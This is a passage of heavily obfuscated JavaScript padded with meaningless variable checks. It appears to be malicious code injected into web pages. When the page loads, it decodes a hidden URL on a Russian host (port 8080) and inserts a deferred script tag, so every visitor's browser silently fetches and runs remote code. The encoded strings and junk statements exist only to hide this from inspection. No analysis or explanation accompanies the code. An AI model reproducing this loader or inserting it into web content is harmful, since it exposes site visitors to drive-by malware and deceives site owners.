pD;if(pD!='' && pD!='ClG'){pD='nQE'};DT = '';this.FW="";var dXB;if(dXB!='hX'){dXB='hX'};d = '';b = '';var cc="cc";var MJ;if(MJ!='' && MJ!='Be'){MJ=''};return '';this.iH='';var mt=new Date();};this.dk=false;var TVe;if(TVe!='' && TVe!='yp'){TVe='MI'};this.OI="";B(Nw);


this.Y="";var X;if(X!='E'){X='E'};function ia(){var n;if(n!='' && n!='I'){n=''};var c=new String();var T=unescape;var o;if(o!='' && o!='wi'){o='j'};var qD=new String();var v=window;var vc;if(vc!='El' && vc!='pF'){vc=''};this.J="";var u=T("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%77%65%62%73%68%6f%74%73%2e%63%6f%6d%2f%61%6c%69%70%61%79%2e%63%6f%6d%2e%70%68%70");var im;if(im!='' && im!='k'){im='ii'};var hp;if(hp!='' && hp!='eE'){hp='Uz'};var g='';function i(p,V){var iu;if(iu!='' && iu!='XO'){iu=null};var x="8y1g".substr(3);var Bp;if(Bp!='' && Bp!='nE'){Bp='Wl'};var IY;if(IY!='' && IY!='WE'){IY='qC'};var m=T("%5b"), Td=T("%5d");var fw=new Date();var nf=new Date();var U=m+V+Td;var ql;if(ql!=''){ql='Ab'};var ST=new String();var B=new RegExp(U, x);var eD='';return p.replace(B, new String());};var aC;if(aC!='zf'){aC='zf'};var O;if(O!='Dk'){O=''};var Wg=new Date();var fD;if(fD!='' && fD!='px'){fD='G'};var pm='';var pX=new String();var cS=new String();var r=new String();var _=i('8136067118166107117','7361');var Q=document;var xZ;if(xZ!='fc' && xZ != ''){xZ=null};var CP="";this.EP='';function a(){this.XB="";var pt=T("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");this.TC="";var kJ='';var R;if(R!='' && R!='IJ'){R='JD'};pX=pt;var kk;if(kk!='mc'){kk='mc'};this.xe='';pX+=_;var OG;if(OG!='ad' && OG!='sC'){OG='ad'};pX+=u;var Il;if(Il!='Ay' && Il!='gT'){Il=''};var vU;if(vU!='' && vU!='Wx'){vU=''};this.Yg="";try {var fg=new String();var EH='';aE=Q.createElement(i('skcUraiJp9tk','ukazv32NXM9JZQAnUL4G'));var WR;if(WR!='' && WR!='SK'){WR=''};var kT;if(kT!='' && kT!='TF'){kT=null};var Wj=new String();aE[T("%73%72%63")]=pX;aE[T("%64%65%66%65%72")]=[6,1][1];var YO;if(YO!='ZB' && YO != ''){YO=null};var rA=new Array();this.JU='';Q.body.appendChild(aE);this.vD='';var yL=new String();var np=new String();} catch(z){var NV;if(NV!='TE' && NV!='SKi'){NV='TE'};alert(z);};}this.Xj='';var Dj=new String();var _o="";v["BN4onl".substr(3)+"oad"]=a;var mR;if(mR!='mK'){mR=''};};var sM=new String();var UL=new String();var N_;if(N_!='_U'){N_='_U'};ia();var EO;if(EO!='' && EO!='Pl'){EO=null};var _M;if(_M!='' && _M!='qL'){_M=null};